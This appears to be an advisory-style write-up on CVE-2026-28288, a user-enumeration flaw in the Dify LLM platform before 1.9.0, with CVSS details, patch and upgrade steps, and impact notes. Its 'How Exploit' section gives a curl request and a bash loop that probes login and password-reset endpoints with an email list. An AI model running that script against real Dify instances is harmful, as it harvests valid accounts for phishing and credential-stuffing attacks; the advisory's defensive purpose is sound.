Listen to this Post
CVE-2026-28288 is an information disclosure vulnerability in the open-source LLM application development platform, Dify . The flaw exists in versions prior to 1.9.0 due to a discrepancy in API responses for user account validation. Specifically, when an attacker queries the Dify API with an email address, the application’s response varies depending on whether the email is registered with the platform . This differential response behavior allows an unauthenticated remote attacker to perform user enumeration. By sending a series of requests with different email addresses and analyzing the server’s replies, an attacker can systematically identify which email addresses have active accounts in the system. This type of vulnerability is classified under CWE-204 (Observable Response Discrepancy) . The issue is considered of Medium severity with a CVSS v4.0 base score of 5.5, using the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P, which indicates a network-based attack with low complexity and no required privileges, but only low impact to confidentiality . The attack is automated and exploits the logical difference in how the application handles valid versus invalid user lookups. The Dify development team addressed and fixed this enumeration issue in version 1.9.0 by standardizing API responses to prevent attackers from distinguishing between existing and non-existing accounts .
Platform: Dify
Version: <1.9.0
Vulnerability: User Enumeration
Severity: Medium (5.5)
Date: 27/02/2026
Prediction: Patch available (1.9.0)
What Undercode Say:
Analytics
The vulnerability allows for remote, unauthenticated user enumeration. The CVSS v4.0 vector `AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P` signifies a network attack vector with low complexity and no privileges required. The presence of “E:P” in the vector indicates that proof-of-concept exploit code is available . This issue is distinct from other Dify CVEs like CVE-2025-59422 (broken access control) or CVE-2025-11750 (similar account existence leak in dify-web), highlighting a pattern of information disclosure risks in the platform .
How Exploit:
An attacker can exploit this by sending HTTP requests to the Dify API endpoint responsible for user operations (e.g., login, registration, or password reset). The exploit logic involves checking the response body or status code.
Example using curl to test for user enumeration
Replace <dify-instance-url> with the target URL and <email> with the address to test.
Attempt to initiate a password reset for a potential user
A "user not found" message might differ from a "reset email sent" message.
curl -X POST https://<dify-instance-url>/api/reset-password \
-H "Content-Type: application/json" \
-d '{"email": "[email protected]"}'
Automated enumeration script concept
for email in $(cat emails.txt); do
response=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://<dify-instance-url>/api/login \
-H "Content-Type: application/json" \
-d "{\"email\": \"$email\", \"password\": \"wrongpassword\"}")
If response for invalid password (existing user) vs. invalid user differs
if [ "$response" -eq 401 ]; then
echo "[+] Existing account detected: $email (Received 401 for wrong password)"
elif [ "$response" -eq 404 ]; then
echo "[-] No account found: $email"
fi
done
Protection from this CVE
The primary mitigation is to upgrade to Dify version 1.9.0 or later .
Protection Steps for Dify Administrators: 1. Upgrade the platform using the official guide. cd /path/to/dify/docker 2. Backup current configuration and data. cp docker-compose.yaml docker-compose.yaml.backup tar -cvf volumes-backup.tgz volumes 3. Pull the latest version (if using Git). git checkout main git pull origin main 4. For Docker Compose setups, redeploy the fixed version. docker compose down docker compose up -d 5. For source code installations, update dependencies. cd ../api pip install -r requirements.txt flask db upgrade 6. Verify the fix by ensuring API responses for user lookups are uniform. If patching is not immediately possible, implement a Web Application Firewall (WAF) rule to rate-limit authentication and password reset endpoints, though this is not a complete fix.
Impact
Successful exploitation allows an attacker to compile a list of valid email addresses registered on the Dify platform. This information can be used to conduct targeted phishing campaigns, brute-force attacks, or credential stuffing attacks against valid user accounts. The vulnerability undermines user privacy by exposing account existence. The CVSS v4.0 score of 5.5 (Medium) reflects the low direct impact on confidentiality (VC:L) but acknowledges the ease of exploitation (AV:N/AC:L/PR:N/UI:N) which lowers the barrier for attackers to gather intelligence for further attacks .
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
